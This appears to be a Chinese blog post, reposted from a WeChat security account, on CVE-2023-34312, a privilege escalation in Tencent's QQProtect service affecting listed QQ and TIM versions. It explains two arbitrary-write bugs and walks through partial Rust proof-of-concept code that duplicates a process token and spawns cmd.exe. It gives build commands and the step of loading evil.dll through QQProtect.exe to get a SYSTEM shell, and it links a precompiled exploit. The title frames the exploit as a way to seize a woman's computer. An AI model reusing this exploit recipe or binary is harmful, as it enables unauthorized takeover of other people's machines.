第一个漏洞位于 QQProtect.exe+0x40c9f8 处,其中 a2 是一个可被攻击者控制的指针,dword_41a740 是一个全局变量,其值为 0x00000001。因此,攻击者可以在任意地址写入 DWORD(1) 的值。
第二个漏洞位于 QQProtectEngine.dll+0x3B4F6 处,其中 v3 是一个可被攻击者控制的指针。因此,攻击者可以在任意给定的地址 ptr 处写入值 std::bit_cast<DWORD>(ptr) + 4。
攻击者可以篡改 QQProtect.exe 中的函数指针,并使用 ROP 链轻松执行任意代码,因为 QQProtect.exe 没有启用地址空间布局随机化(ASLR)保护。
受影响的版本:
QQ 9.7.1.28940 ~ 9.7.8.29039
TIM 3.4.5.22071 ~ 3.4.7.22084
QQ复现版本的下载地址:
https://soft.3dmgame.com/down/242765.html
POC分析:
-
导入所需的Windows相关模块:
use windows::core::*;
use windows::Win32::Foundation::*;
use windows::Win32::System::Threading::*;
use windows::Win32::System::SystemServices::*;
use windows::Win32::Security::*;
use windows::Win32::System::RemoteDesktop::*;
这些代码行导入了与Windows API相关的模块,以便在代码中使用相应的函数、结构体和常量。
2.定义 DllMain
函数:
pub
unsafe
extern
"stdcall"
fn
DllMain
(
_: HINSTANCE, reason: u32, _: *mut u8
) -> BOOL
{
这是DLL的入口函数。它采用标准调用约定(stdcall)并返回一个BOOL值。
处理 DLL 进程附加事件:
if
reason == DLL_PROCESS_ATTACH {
// 执行一系列操作...
}
在DLL被附加到进程时,执行一系列操作。这是由 DLL_PROCESS_ATTACH
事件触发的条件判断。
2.执行一系列操作:
let
mut token = HANDLE::
default
();
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &mut token).ok().unwrap();
// 一些其他操作...
这部分代码在DLL被附加到进程时执行。它包含了一系列操作,如获取当前进程的访问令牌、创建新的进程以及设置令牌信息等。
具体的操作包括:
- 使用
OpenProcessToken
函数获取当前进程的访问令牌。 - 使用
DuplicateTokenEx
函数创建一个令牌的副本。 - 使用
SetTokenInformation
函数设置令牌信息,包括会话ID。 - 使用
CreateProcessAsUserW
函数创建一个以用户身份运行的新进程(此处为cmd.exe)。
返回结果:
return
TRUE
;
最后,函数返回 TRUE
值,表示DLL初始化成功。
POC编译(看文末):
rust官网下载rust环境,并且完成安装。
运行以下命令进行工具链的安装
rustup toolchain install stable-i686-pc-windows-msvc
然后编译poc
cargo +stable-i686-pc-windows-msvc build --release --config "build.rustflags = ["-C", "target-feature=+crt-static"]"
编译完成后,会得到两个 DLL 文件:
targetreleasetinyxml.dll
targetreleaseevil.dll
将上述两个 DLL 文件和
%ProgramFiles(x86)%Common FilesTencentQQProtectbinQQProtect.exe
放置在同一个文件夹中。
最后,执行以下命令获取 NT AuthoritySYSTEM 权限的 shell:
QQProtect.exe evil.dll
已经编译好的exp
蓝奏云:
https://wwvx.lanzoul.com/i1yCO10skkpa
原文始发于微信公众号(Drt安全战队):如何通过QQ的day拿下女神电脑最高权限(CVE-2023-34312)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论